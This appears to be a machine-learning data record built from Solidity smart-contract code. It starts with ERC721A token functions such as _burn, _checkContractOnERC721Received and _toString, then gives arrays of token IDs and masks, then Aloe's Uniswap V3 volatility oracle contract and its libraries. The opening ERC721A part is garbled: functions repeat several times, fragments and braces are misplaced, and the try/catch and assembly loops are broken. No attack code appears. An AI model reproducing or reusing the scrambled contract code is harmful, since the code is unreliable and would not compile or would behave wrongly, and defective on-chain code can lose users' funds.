function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _burn(uint256 tokenId, bool approvalCheck) internal virtual {
uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);
address from = address(uint160(prevOwnershipPacked));
(uint256 approvedAddressSlot, address approvedAddress) = _getApprovedAddress(tokenId);
if (approvalCheck) {
if (!_isOwnerOrApproved(approvedAddress, from, _msgSenderERC721A()))
if (!isApprovedForAll(from, _msgSenderERC721A())) revert TransferCallerNotOwnerNorApproved();
}
_beforeTokenTransfers(from, address(0), tokenId, 1);
assembly {
if approvedAddress {
sstore(approvedAddressSlot, 0)
}
}
unchecked {
_packedAddressData[from] += (1 << BITPOS_NUMBER_BURNED) - 1;
_packedOwnerships[tokenId] = _packOwnershipData(
from,
(BITMASK_BURNED | BITMASK_NEXT_INITIALIZED) | _nextExtraData(from, address(0), prevOwnershipPacked)
);
if (prevOwnershipPacked & BITMASK_NEXT_INITIALIZED == 0) {
uint256 nextTokenId = tokenId + 1;
if (_packedOwnerships[nextTokenId] == 0) {
if (nextTokenId != _currentIndex) {
_packedOwnerships[nextTokenId] = prevOwnershipPacked;
}
}
}
}
emit Transfer(from, address(0), tokenId);
_afterTokenTransfers(from, address(0), tokenId, 1);
unchecked {
_burnCounter++;
}
}
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
bytes4 retval
) {
return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
bytes4 retval
) {
return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
} catch (bytes memory reason) {
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
bytes4 retval
) {
return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
} else {
function _checkContractOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
try ERC721A__IERC721Receiver(to).onERC721Received(_msgSenderERC721A(), from, tokenId, _data) returns (
bytes4 retval
) {
return retval == ERC721A__IERC721Receiver(to).onERC721Received.selector;
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
assembly {
revert(add(32, reason), mload(reason))
}
}
}
}
function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {
uint256 packed = _packedOwnerships[index];
if (packed == 0) revert OwnershipNotInitializedForExtraData();
uint256 extraDataCasted;
assembly {
extraDataCasted := extraData
}
packed = (packed & BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << BITPOS_EXTRA_DATA);
_packedOwnerships[index] = packed;
}
function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {
uint256 packed = _packedOwnerships[index];
if (packed == 0) revert OwnershipNotInitializedForExtraData();
uint256 extraDataCasted;
assembly {
extraDataCasted := extraData
}
packed = (packed & BITMASK_EXTRA_DATA_COMPLEMENT) | (extraDataCasted << BITPOS_EXTRA_DATA);
_packedOwnerships[index] = packed;
}
function _nextExtraData(
address from,
address to,
uint256 prevOwnershipPacked
) private view returns (uint256) {
uint24 extraData = uint24(prevOwnershipPacked >> BITPOS_EXTRA_DATA);
return uint256(_extraData(from, to, extraData)) << BITPOS_EXTRA_DATA;
}
) internal view virtual returns (uint24) {}
) internal virtual {}
) internal virtual {}
function _extraData(
address from,
address to,
uint24 previousExtraData
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
function _msgSenderERC721A() internal view virtual returns (address) {
return msg.sender;
}
function _toString(uint256 value) internal pure virtual returns (string memory ptr) {
assembly {
ptr := add(mload(0x40), 128)
mstore(0x40, ptr)
let end := ptr
for {
let temp := value
ptr := sub(ptr, 1)
mstore8(ptr, add(48, mod(temp, 10)))
temp := div(temp, 10)
temp := div(temp, 10)
ptr := sub(ptr, 1)
mstore8(ptr, add(48, mod(temp, 10)))
}
let length := sub(end, ptr)
}
}
function _toString(uint256 value) internal pure virtual returns (string memory ptr) {
assembly {
ptr := add(mload(0x40), 128)
mstore(0x40, ptr)
let end := ptr
for {
let temp := value
ptr := sub(ptr, 1)
mstore8(ptr, add(48, mod(temp, 10)))
temp := div(temp, 10)
temp := div(temp, 10)
ptr := sub(ptr, 1)
mstore8(ptr, add(48, mod(temp, 10)))
}
let length := sub(end, ptr)
}
}
function _toString(uint256 value) internal pure virtual returns (string memory ptr) {
assembly {
ptr := add(mload(0x40), 128)
mstore(0x40, ptr)
let end := ptr
for {
let temp := value
ptr := sub(ptr, 1)
mstore8(ptr, add(48, mod(temp, 10)))
temp := div(temp, 10)
temp := div(temp, 10)
ptr := sub(ptr, 1)
mstore8(ptr, add(48, mod(temp, 10)))
}
let length := sub(end, ptr)
}
}
} temp {
} {
ptr := sub(ptr, 32)
mstore(ptr, length)
}
| 3,716,518 | [
1,
31348,
326,
6912,
2710,
18,
27376,
358,
10979,
364,
2612,
16189,
4982,
2581,
312,
28142,
18,
25374,
2734,
87,
854,
695,
6979,
6261,
312,
474,
329,
5023,
622,
1375,
67,
1937,
1345,
548,
20338,
261,
7606,
358,
374,
16,
425,
18,
75,
18,
374,
16,
404,
16,
576,
16,
890,
838,
2934,
25374,
716,
392,
3410,
2780,
1240,
1898,
2353,
576,
1105,
300,
404,
261,
1896,
460,
434,
2254,
1105,
13,
434,
14467,
18,
25374,
716,
326,
4207,
1147,
612,
2780,
9943,
576,
5034,
300,
404,
261,
1896,
460,
434,
2254,
5034,
2934,
19,
6268,
618,
364,
1147,
23556,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4232,
39,
27,
5340,
37,
353,
467,
654,
39,
27,
5340,
37,
288,
203,
565,
445,
2078,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
203,
565,
445,
6146,
1358,
12,
3890,
24,
1560,
548,
13,
3903,
1476,
1135,
261,
6430,
1769,
203,
203,
203,
565,
871,
12279,
12,
2867,
8808,
628,
16,
1758,
8808,
358,
16,
2254,
5034,
8808,
1147,
548,
1769,
203,
203,
565,
871,
1716,
685,
1125,
12,
2867,
8808,
3410,
16,
1758,
8808,
20412,
16,
2254,
5034,
8808,
1147,
548,
1769,
203,
203,
565,
871,
1716,
685,
1125,
1290,
1595,
12,
2867,
8808,
3410,
16,
1758,
8808,
3726,
16,
1426,
20412,
1769,
203,
203,
565,
445,
11013,
951,
12,
2867,
3410,
13,
3903,
1476,
1135,
261,
11890,
5034,
11013,
1769,
203,
203,
565,
445,
3410,
951,
12,
11890,
5034,
1147,
548,
13,
3903,
1476,
1135,
261,
2867,
3410,
1769,
203,
203,
565,
445,
4183,
5912,
1265,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
1731,
745,
892,
501,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
4183,
5912,
1265,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
7412,
1265,
12,
203,
3639,
1758,
628,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
1147,
548,
203,
565,
262,
3903,
31,
203,
203,
565,
445,
6617,
537,
12,
2867,
358,
16,
2254,
5034,
1147,
2
]
|
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
import "./libraries/Oracle.sol";
import "./libraries/Volatility.sol";
import "./interfaces/IVolatilityOracle.sol";
/*
#
###
#####
# ####### *###*
### ######### ########
##### ########### ###########
######## ############ ############
######## ########### *##############
########### ######## #################
############ ### #################
############ ##################
############# #################* *#############*
############## ############# #####################################
############### ####****** #######################*
################
################# *############################*
############## ######################################
######## ################* **######*
### ###
*/
contract VolatilityOracle is IVolatilityOracle {
struct Indices {
uint8 read;
uint8 write;
}
/// @inheritdoc IVolatilityOracle
mapping(IUniswapV3Pool => Volatility.PoolMetadata) public cachedPoolMetadata;
/// @inheritdoc IVolatilityOracle
mapping(IUniswapV3Pool => Volatility.FeeGrowthGlobals[25]) public feeGrowthGlobals;
/// @inheritdoc IVolatilityOracle
mapping(IUniswapV3Pool => Indices) public feeGrowthGlobalsIndices;
/// @inheritdoc IVolatilityOracle
function cacheMetadataFor(IUniswapV3Pool pool) external {
Volatility.PoolMetadata memory poolMetadata;
(, , uint16 observationIndex, uint16 observationCardinality, , uint8 feeProtocol, ) = pool.slot0();
poolMetadata.maxSecondsAgo = (Oracle.getMaxSecondsAgo(pool, observationIndex, observationCardinality) * 4) / 5;
uint24 fee = pool.fee();
poolMetadata.gamma0 = fee;
poolMetadata.gamma1 = fee;
if (feeProtocol % 16 != 0) poolMetadata.gamma0 -= fee / (feeProtocol % 16);
if (feeProtocol >> 4 != 0) poolMetadata.gamma1 -= fee / (feeProtocol >> 4);
poolMetadata.tickSpacing = pool.tickSpacing();
cachedPoolMetadata[pool] = poolMetadata;
}
/// @inheritdoc IVolatilityOracle
function lens(IUniswapV3Pool pool) external view returns (uint256[25] memory IV) {
(uint160 sqrtPriceX96, int24 tick, , , , , ) = pool.slot0();
Volatility.FeeGrowthGlobals[25] memory feeGrowthGlobal = feeGrowthGlobals[pool];
for (uint8 i = 0; i < 25; i++) {
(IV[i], ) = _estimate24H(pool, sqrtPriceX96, tick, feeGrowthGlobal[i]);
}
}
/// @inheritdoc IVolatilityOracle
function estimate24H(IUniswapV3Pool pool) external returns (uint256 IV) {
(uint160 sqrtPriceX96, int24 tick, , , , , ) = pool.slot0();
Volatility.FeeGrowthGlobals[25] storage feeGrowthGlobal = feeGrowthGlobals[pool];
Indices memory idxs = _loadIndicesAndSelectRead(pool, feeGrowthGlobal);
Volatility.FeeGrowthGlobals memory current;
(IV, current) = _estimate24H(pool, sqrtPriceX96, tick, feeGrowthGlobal[idxs.read]);
// Write to storage
if (current.timestamp - 1 hours > feeGrowthGlobal[idxs.write].timestamp) {
idxs.write = (idxs.write + 1) % 25;
feeGrowthGlobals[pool][idxs.write] = current;
}
feeGrowthGlobalsIndices[pool] = idxs;
}
function _estimate24H(
IUniswapV3Pool _pool,
uint160 _sqrtPriceX96,
int24 _tick,
Volatility.FeeGrowthGlobals memory _previous
) private view returns (uint256 IV, Volatility.FeeGrowthGlobals memory current) {
Volatility.PoolMetadata memory poolMetadata = cachedPoolMetadata[_pool];
uint32 secondsAgo = poolMetadata.maxSecondsAgo;
require(secondsAgo >= 1 hours, "Aloe: need more data");
if (secondsAgo > 1 days) secondsAgo = 1 days;
// Throws if secondsAgo == 0
(int24 arithmeticMeanTick, uint160 secondsPerLiquidityX128) = Oracle.consult(_pool, secondsAgo);
current = Volatility.FeeGrowthGlobals(
_pool.feeGrowthGlobal0X128(),
_pool.feeGrowthGlobal1X128(),
uint32(block.timestamp)
);
IV = Volatility.estimate24H(
poolMetadata,
Volatility.PoolData(
_sqrtPriceX96,
_tick,
arithmeticMeanTick,
secondsPerLiquidityX128,
secondsAgo,
_pool.liquidity()
),
_previous,
current
);
}
function _loadIndicesAndSelectRead(IUniswapV3Pool _pool, Volatility.FeeGrowthGlobals[25] storage _feeGrowthGlobal)
private
view
returns (Indices memory)
{
Indices memory idxs = feeGrowthGlobalsIndices[_pool];
uint32 timingError = _timingError(block.timestamp - _feeGrowthGlobal[idxs.read].timestamp);
for (uint8 counter = idxs.read + 1; counter < idxs.read + 25; counter++) {
uint8 newReadIndex = counter % 25;
uint32 newTimingError = _timingError(block.timestamp - _feeGrowthGlobal[newReadIndex].timestamp);
if (newTimingError < timingError) {
idxs.read = newReadIndex;
timingError = newTimingError;
} else break;
}
return idxs;
}
function _timingError(uint256 _age) private pure returns (uint32) {
return uint32(_age < 24 hours ? 24 hours - _age : _age - 24 hours);
}
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.10;
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
import "./FullMath.sol";
import "./TickMath.sol";
/// @title Oracle
/// @notice Provides functions to integrate with V3 pool oracle
library Oracle {
/**
* @notice Calculates time-weighted means of tick and liquidity for a given Uniswap V3 pool
* @param pool Address of the pool that we want to observe
* @param secondsAgo Number of seconds in the past from which to calculate the time-weighted means
* @return arithmeticMeanTick The arithmetic mean tick from (block.timestamp - secondsAgo) to block.timestamp
* @return secondsPerLiquidityX128 The change in seconds per liquidity from (block.timestamp - secondsAgo)
* to block.timestamp
*/
function consult(IUniswapV3Pool pool, uint32 secondsAgo)
internal
view
returns (int24 arithmeticMeanTick, uint160 secondsPerLiquidityX128)
{
require(secondsAgo != 0, "BP");
uint32[] memory secondsAgos = new uint32[](2);
secondsAgos[0] = secondsAgo;
secondsAgos[1] = 0;
(int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) = pool.observe(
secondsAgos
);
int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
arithmeticMeanTick = int24(tickCumulativesDelta / int32(secondsAgo));
// Always round to negative infinity
if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int32(secondsAgo) != 0)) arithmeticMeanTick--;
secondsPerLiquidityX128 = secondsPerLiquidityCumulativeX128s[1] - secondsPerLiquidityCumulativeX128s[0];
}
/**
* @notice Given a pool, it returns the number of seconds ago of the oldest stored observation
* @param pool Address of Uniswap V3 pool that we want to observe
* @param observationIndex The observation index from pool.slot0()
* @param observationCardinality The observationCardinality from pool.slot0()
* @dev (, , uint16 observationIndex, uint16 observationCardinality, , , ) = pool.slot0();
* @return secondsAgo The number of seconds ago that the oldest observation was stored
*/
function getMaxSecondsAgo(
IUniswapV3Pool pool,
uint16 observationIndex,
uint16 observationCardinality
) internal view returns (uint32 secondsAgo) {
require(observationCardinality != 0, "NI");
unchecked {
(uint32 observationTimestamp, , , bool initialized) = pool.observations(
(observationIndex + 1) % observationCardinality
);
// The next index might not be initialized if the cardinality is in the process of increasing
// In this case the oldest observation is always in index 0
if (!initialized) {
(observationTimestamp, , , ) = pool.observations(0);
}
secondsAgo = uint32(block.timestamp) - observationTimestamp;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.10;
import "@rari-capital/solmate/src/utils/FixedPointMathLib.sol";
import "./FixedPoint96.sol";
import "./FullMath.sol";
import "./TickMath.sol";
/// @title Volatility
/// @notice Provides functions that use Uniswap v3 to compute price volatility
library Volatility {
struct PoolMetadata {
// the oldest oracle observation that's been populated by the pool
uint32 maxSecondsAgo;
// the overall fee minus the protocol fee for token0, times 1e6
uint24 gamma0;
// the overall fee minus the protocol fee for token1, times 1e6
uint24 gamma1;
// the pool tick spacing
int24 tickSpacing;
}
struct PoolData {
// the current price (from pool.slot0())
uint160 sqrtPriceX96;
// the current tick (from pool.slot0())
int24 currentTick;
// the mean tick over some period (from OracleLibrary.consult(...))
int24 arithmeticMeanTick;
// the mean liquidity over some period (from OracleLibrary.consult(...))
uint160 secondsPerLiquidityX128;
// the number of seconds to look back when getting mean tick & mean liquidity
uint32 oracleLookback;
// the liquidity depth at currentTick (from pool.liquidity())
uint128 tickLiquidity;
}
struct FeeGrowthGlobals {
// the fee growth as a Q128.128 fees of token0 collected per unit of liquidity for the entire life of the pool
uint256 feeGrowthGlobal0X128;
// the fee growth as a Q128.128 fees of token1 collected per unit of liquidity for the entire life of the pool
uint256 feeGrowthGlobal1X128;
// the block timestamp at which feeGrowthGlobal0X128 and feeGrowthGlobal1X128 were last updated
uint32 timestamp;
}
/**
* @notice Estimates implied volatility using https://lambert-guillaume.medium.com/on-chain-volatility-and-uniswap-v3-d031b98143d1
* @param metadata The pool's metadata (may be cached)
* @param data A summary of the pool's state from `pool.slot0` `pool.observe` and `pool.liquidity`
* @param a The pool's cumulative feeGrowthGlobals some time in the past
* @param b The pool's cumulative feeGrowthGlobals as of the current block
* @return An estimate of the 24 hour implied volatility scaled by 1e18
*/
function estimate24H(
PoolMetadata memory metadata,
PoolData memory data,
FeeGrowthGlobals memory a,
FeeGrowthGlobals memory b
) internal pure returns (uint256) {
uint256 volumeGamma0Gamma1;
{
uint128 revenue0Gamma1 = computeRevenueGamma(
a.feeGrowthGlobal0X128,
b.feeGrowthGlobal0X128,
data.secondsPerLiquidityX128,
data.oracleLookback,
metadata.gamma1
);
uint128 revenue1Gamma0 = computeRevenueGamma(
a.feeGrowthGlobal1X128,
b.feeGrowthGlobal1X128,
data.secondsPerLiquidityX128,
data.oracleLookback,
metadata.gamma0
);
// This is an approximation. Ideally the fees earned during each swap would be multiplied by the price
// *at that swap*. But for prices simulated with GBM and swap sizes either normally or uniformly distributed,
// the error you get from using geometric mean price is <1% even with high drift and volatility.
volumeGamma0Gamma1 = revenue1Gamma0 + amount0ToAmount1(revenue0Gamma1, data.arithmeticMeanTick);
}
uint128 sqrtTickTVLX32 = uint128(
FixedPointMathLib.sqrt(
computeTickTVLX64(metadata.tickSpacing, data.currentTick, data.sqrtPriceX96, data.tickLiquidity)
)
);
uint48 timeAdjustmentX32 = uint48(
FixedPointMathLib.sqrt((uint256(1 days) << 64) / (b.timestamp - a.timestamp))
);
if (sqrtTickTVLX32 == 0) return 0;
unchecked {
return
(uint256(2e18) * uint256(timeAdjustmentX32) * FixedPointMathLib.sqrt(volumeGamma0Gamma1)) /
sqrtTickTVLX32;
}
}
/**
* @notice Computes an `amount1` that (at `tick`) is equivalent in worth to the provided `amount0`
* @param amount0 The amount of token0 to convert
* @param tick The tick at which the conversion should hold true
* @return amount1 An equivalent amount of token1
*/
function amount0ToAmount1(uint128 amount0, int24 tick) internal pure returns (uint256 amount1) {
uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(tick);
uint224 priceX96 = uint224(FullMath.mulDiv(sqrtPriceX96, sqrtPriceX96, FixedPoint96.Q96));
amount1 = FullMath.mulDiv(amount0, priceX96, FixedPoint96.Q96);
}
/**
* @notice Computes pool revenue using feeGrowthGlobal accumulators, then scales it down by a factor of gamma
* @param feeGrowthGlobalAX128 The value of feeGrowthGlobal (either 0 or 1) at time A
* @param feeGrowthGlobalBX128 The value of feeGrowthGlobal (either 0 or 1, but matching) at time B (B > A)
* @param secondsPerLiquidityX128 The difference in the secondsPerLiquidity accumulator from `secondsAgo` seconds ago until now
* @param secondsAgo The oracle lookback period that was used to find `secondsPerLiquidityX128`
* @param gamma The fee factor to scale by
* @return Revenue over the period from `block.timestamp - secondsAgo` to `block.timestamp`, scaled down by a factor of gamma
*/
function computeRevenueGamma(
uint256 feeGrowthGlobalAX128,
uint256 feeGrowthGlobalBX128,
uint160 secondsPerLiquidityX128,
uint32 secondsAgo,
uint24 gamma
) internal pure returns (uint128) {
unchecked {
uint256 temp;
if (feeGrowthGlobalBX128 >= feeGrowthGlobalAX128) {
// feeGrowthGlobal has increased from time A to time B
temp = feeGrowthGlobalBX128 - feeGrowthGlobalAX128;
} else {
// feeGrowthGlobal has overflowed between time A and time B
temp = type(uint256).max - feeGrowthGlobalAX128 + feeGrowthGlobalBX128;
}
temp = FullMath.mulDiv(temp, secondsAgo * gamma, secondsPerLiquidityX128 * 1e6);
return temp > type(uint128).max ? type(uint128).max : uint128(temp);
}
}
/**
* @notice Computes the value of liquidity available at the current tick, denominated in token1
* @param tickSpacing The pool tick spacing (from pool.tickSpacing())
* @param tick The current tick (from pool.slot0())
* @param sqrtPriceX96 The current price (from pool.slot0())
* @param liquidity The liquidity depth at currentTick (from pool.liquidity())
*/
function computeTickTVLX64(
int24 tickSpacing,
int24 tick,
uint160 sqrtPriceX96,
uint128 liquidity
) internal pure returns (uint256 tickTVL) {
tick = TickMath.floor(tick, tickSpacing);
// both value0 and value1 fit in uint192
(uint256 value0, uint256 value1) = _getValuesOfLiquidity(
sqrtPriceX96,
TickMath.getSqrtRatioAtTick(tick),
TickMath.getSqrtRatioAtTick(tick + tickSpacing),
liquidity
);
tickTVL = (value0 + value1) << 64;
}
/**
* @notice Computes the value of the liquidity in terms of token1
* @dev Each return value can fit in a uint192 if necessary
* @param sqrtRatioX96 A sqrt price representing the current pool prices
* @param sqrtRatioAX96 A sqrt price representing the lower tick boundary
* @param sqrtRatioBX96 A sqrt price representing the upper tick boundary
* @param liquidity The liquidity being valued
* @return value0 The value of amount0 underlying `liquidity`, in terms of token1
* @return value1 The amount of token1
*/
function _getValuesOfLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) private pure returns (uint256 value0, uint256 value1) {
assert(sqrtRatioAX96 <= sqrtRatioX96 && sqrtRatioX96 <= sqrtRatioBX96);
unchecked {
uint224 numerator = uint224(FullMath.mulDiv(sqrtRatioX96, sqrtRatioBX96 - sqrtRatioX96, FixedPoint96.Q96));
value0 = FullMath.mulDiv(liquidity, numerator, sqrtRatioBX96);
value1 = FullMath.mulDiv(liquidity, sqrtRatioX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
import "@uniswap/v3-core/contracts/interfaces/IUniswapV3Pool.sol";
interface IVolatilityOracle {
/**
* @notice Accesses the most recently stored metadata for a given Uniswap pool
* @dev These values may or may not have been initialized and may or may not be
* up to date. `tickSpacing` will be non-zero if they've been initialized.
* @param pool The Uniswap pool for which metadata should be retrieved
* @return maxSecondsAgo The age of the oldest observation in the pool's oracle
* @return gamma0 The pool fee minus the protocol fee on token0, scaled by 1e6
* @return gamma1 The pool fee minus the protocol fee on token1, scaled by 1e6
* @return tickSpacing The pool's tick spacing
*/
function cachedPoolMetadata(IUniswapV3Pool pool)
external
view
returns (
uint32 maxSecondsAgo,
uint24 gamma0,
uint24 gamma1,
int24 tickSpacing
);
/**
* @notice Accesses any of the 25 most recently stored fee growth structs
* @dev The full array (idx=0,1,2...24) has data that spans *at least* 24 hours
* @param pool The Uniswap pool for which fee growth should be retrieved
* @param idx The index into the storage array
* @return feeGrowthGlobal0X128 Total pool revenue in token0, as of timestamp
* @return feeGrowthGlobal1X128 Total pool revenue in token1, as of timestamp
* @return timestamp The time at which snapshot was taken and stored
*/
function feeGrowthGlobals(IUniswapV3Pool pool, uint256 idx)
external
view
returns (
uint256 feeGrowthGlobal0X128,
uint256 feeGrowthGlobal1X128,
uint32 timestamp
);
/**
* @notice Returns indices that the contract will use to access `feeGrowthGlobals`
* @param pool The Uniswap pool for which array indices should be fetched
* @return read The index that was closest to 24 hours old last time `estimate24H` was called
* @return write The index that was written to last time `estimate24H` was called
*/
function feeGrowthGlobalsIndices(IUniswapV3Pool pool) external view returns (uint8 read, uint8 write);
/**
* @notice Updates cached metadata for a Uniswap pool. Must be called at least once
* in order for volatility to be determined. Should also be called whenever
* protocol fee changes
* @param pool The Uniswap pool to poke
*/
function cacheMetadataFor(IUniswapV3Pool pool) external;
/**
* @notice Provides multiple estimates of IV using all stored `feeGrowthGlobals` entries for `pool`
* @dev This is not meant to be used on-chain, and it doesn't contribute to the oracle's knowledge.
* Please use `estimate24H` instead.
* @param pool The pool to use for volatility estimate
* @return IV The array of volatility estimates, scaled by 1e18
*/
function lens(IUniswapV3Pool pool) external returns (uint256[25] memory IV);
/**
* @notice Estimates 24-hour implied volatility for a Uniswap pool.
* @param pool The pool to use for volatility estimate
* @return IV The estimated volatility, scaled by 1e18
*/
function estimate24H(IUniswapV3Pool pool) external returns (uint256 IV);
}
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity >=0.5.0;
import './pool/IUniswapV3PoolImmutables.sol';
import './pool/IUniswapV3PoolState.sol';
import './pool/IUniswapV3PoolDerivedState.sol';
import './pool/IUniswapV3PoolActions.sol';
import './pool/IUniswapV3PoolOwnerActions.sol';
import './pool/IUniswapV3PoolEvents.sol';
/// @title The interface for a Uniswap V3 Pool
/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform
/// to the ERC20 specification
/// @dev The pool interface is broken up into many smaller pieces
interface IUniswapV3Pool is
IUniswapV3PoolImmutables,
IUniswapV3PoolState,
IUniswapV3PoolDerivedState,
IUniswapV3PoolActions,
IUniswapV3PoolOwnerActions,
IUniswapV3PoolEvents
{
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
/// @title Contains 512-bit math functions
